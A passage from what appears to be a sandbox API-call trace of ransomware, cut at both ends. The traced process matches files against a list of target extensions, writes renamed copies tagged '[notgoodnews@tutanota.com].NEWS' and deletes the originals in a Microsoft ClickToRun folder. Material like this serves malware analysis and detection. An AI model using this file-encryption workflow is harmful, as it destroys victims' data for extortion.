shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0081.673] lstrlenW (lpString=".1cd") returned 4 [0081.673] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0081.673] lstrlenW (lpString=".jpg") returned 4 [0081.673] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.673] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.673] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0081.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0081.673] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=19648) returned 1 [0081.673] CloseHandle (hObject=0x2c4) returned 1 [0081.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0081.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0081.673] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.674] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0081.674] GetLastError () returned 0x0 [0081.674] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0081.676] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0081.677] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.677] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x112, lpOverlapped=0x0) returned 1 [0081.677] SetEndOfFile (hFile=0x36c) returned 1 [0081.677] CloseHandle (hObject=0x36c) returned 1 [0081.678] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.678] SetEndOfFile (hFile=0x2c4) returned 1 [0081.679] CloseHandle (hObject=0x2c4) returned 1 [0081.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.680] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0081.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0081.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0081.680] lstrlenW (lpString=".doc") returned 4 [0081.680] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.680] lstrlenW (lpString=".docx") returned 5 [0081.680] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.680] lstrlenW (lpString=".pdf") returned 4 [0081.680] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.680] lstrlenW (lpString=".xls") returned 4 [0081.680] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.680] lstrlenW (lpString=".xlsx") returned 5 [0081.680] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.680] lstrlenW (lpString=".ppt") returned 4 [0081.680] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0081.680] lstrlenW (lpString=".zip") returned 4 [0081.680] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.680] lstrlenW (lpString=".rar") returned 4 [0081.681] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.681] lstrlenW (lpString=".bz2") returned 4 [0081.681] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.681] lstrlenW (lpString=".7z") returned 3 [0081.681] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0081.681] lstrlenW (lpString=".dbf") returned 4 [0081.681] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0081.681] lstrlenW (lpString=".1cd") returned 4 [0081.681] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0081.681] lstrlenW (lpString=".jpg") returned 4 [0081.681] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0081.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0081.681] lstrlenW (lpString=".doc") returned 4 [0081.681] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.681] lstrlenW (lpString=".docx") returned 5 [0081.681] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.681] lstrlenW (lpString=".pdf") returned 4 [0081.681] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.681] lstrlenW (lpString=".xls") returned 4 [0081.681] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.681] lstrlenW (lpString=".xlsx") returned 5 [0081.681] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.681] lstrlenW (lpString=".ppt") returned 4 [0081.681] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0081.681] lstrlenW (lpString=".zip") returned 4 [0081.681] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.681] lstrlenW (lpString=".rar") returned 4 [0081.681] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.681] lstrlenW (lpString=".bz2") returned 4 [0081.681] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.682] lstrlenW (lpString=".7z") returned 3 [0081.682] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0081.682] lstrlenW (lpString=".dbf") returned 4 [0081.682] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0081.682] lstrlenW (lpString=".1cd") returned 4 [0081.682] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0081.682] lstrlenW (lpString=".jpg") returned 4 [0081.682] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.682] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.682] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0081.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0081.682] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=22720) returned 1 [0081.682] CloseHandle (hObject=0x2c4) returned 1 [0081.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0081.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0081.683] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.683] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0081.683] GetLastError () returned 0x0 [0081.683] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x58c0, lpOverlapped=0x0) returned 1 [0082.249] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x58d0, lpOverlapped=0x0) returned 1 [0082.250] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.250] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x116, lpOverlapped=0x0) returned 1 [0082.250] SetEndOfFile (hFile=0x36c) returned 1 [0082.251] CloseHandle (hObject=0x36c) returned 1 [0082.252] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.252] SetEndOfFile (hFile=0x2c4) returned 1 [0082.253] CloseHandle (hObject=0x2c4) returned 1 [0082.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0082.253] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0082.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0082.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0082.254] lstrlenW (lpString=".doc") returned 4 [0082.254] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.254] lstrlenW (lpString=".docx") returned 5 [0082.254] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.254] lstrlenW (lpString=".pdf") returned 4 [0082.254] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.254] lstrlenW (lpString=".xls") returned 4 [0082.254] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.254] lstrlenW (lpString=".xlsx") returned 5 [0082.254] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.254] lstrlenW (lpString=".ppt") returned 4 [0082.254] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0082.254] lstrlenW (lpString=".zip") returned 4 [0082.254] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.254] lstrlenW (lpString=".rar") returned 4 [0082.254] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.254] lstrlenW (lpString=".bz2") returned 4 [0082.254] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.254] lstrlenW (lpString=".7z") returned 3 [0082.254] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0082.255] lstrlenW (lpString=".dbf") returned 4 [0082.255] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0082.255] lstrlenW (lpString=".1cd") returned 4 [0082.255] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0082.255] lstrlenW (lpString=".jpg") returned 4 [0082.255] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0082.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0082.255] lstrlenW (lpString=".doc") returned 4 [0082.255] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.255] lstrlenW (lpString=".docx") returned 5 [0082.255] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.255] lstrlenW (lpString=".pdf") returned 4 [0082.255] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.255] lstrlenW (lpString=".xls") returned 4 [0082.255] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.255] lstrlenW (lpString=".xlsx") returned 5 [0082.255] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.255] lstrlenW (lpString=".ppt") returned 4 [0082.255] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0082.255] lstrlenW (lpString=".zip") returned 4 [0082.255] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.255] lstrlenW (lpString=".rar") returned 4 [0082.255] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.255] lstrlenW (lpString=".bz2") returned 4 [0082.255] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.255] lstrlenW (lpString=".7z") returned 3 [0082.255] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0082.255] lstrlenW (lpString=".dbf") returned 4 [0082.255] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0082.256] lstrlenW (lpString=".1cd") returned 4 [0082.256] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0082.256] lstrlenW (lpString=".jpg") returned 4 [0082.256] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.256] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.256] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33 [0082.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0082.257] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=23232) returned 1 [0082.257] CloseHandle (hObject=0x2c4) returned 1 [0082.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0082.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0082.257] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.257] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0082.257] GetLastError () returned 0x0 [0082.258] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x5ac0, lpOverlapped=0x0) returned 1 [0082.259] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x5ad0, lpOverlapped=0x0) returned 1 [0082.260] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.260] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x116, lpOverlapped=0x0) returned 1 [0082.261] SetEndOfFile (hFile=0x36c) returned 1 [0082.261] CloseHandle (hObject=0x36c) returned 1 [0082.263] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.264] SetEndOfFile (hFile=0x2c4) returned 1 [0082.264] CloseHandle (hObject=0x2c4) returned 1 [0082.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0082.265] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0082.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0082.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0082.265] lstrlenW (lpString=".doc") returned 4 [0082.265] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.265] lstrlenW (lpString=".docx") returned 5 [0082.265] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.265] lstrlenW (lpString=".pdf") returned 4 [0082.265] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.265] lstrlenW (lpString=".xls") returned 4 [0082.265] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.265] lstrlenW (lpString=".xlsx") returned 5 [0082.265] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.265] lstrlenW (lpString=".ppt") returned 4 [0082.265] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0082.265] lstrlenW (lpString=".zip") returned 4 [0082.266] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.266] lstrlenW (lpString=".rar") returned 4 [0082.266] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.266] lstrlenW (lpString=".bz2") returned 4 [0082.266] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.266] lstrlenW (lpString=".7z") returned 3 [0082.266] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0082.266] lstrlenW (lpString=".dbf") returned 4 [0082.266] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0082.266] lstrlenW (lpString=".1cd") returned 4 [0082.266] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0082.266] lstrlenW (lpString=".jpg") returned 4 [0082.266] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0082.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0082.266] lstrlenW (lpString=".doc") returned 4 [0082.266] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.266] lstrlenW (lpString=".docx") returned 5 [0082.266] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.266] lstrlenW (lpString=".pdf") returned 4 [0082.266] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.266] lstrlenW (lpString=".xls") returned 4 [0082.266] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.266] lstrlenW (lpString=".xlsx") returned 5 [0082.266] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.266] lstrlenW (lpString=".ppt") returned 4 [0082.266] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.266] lstrlenW 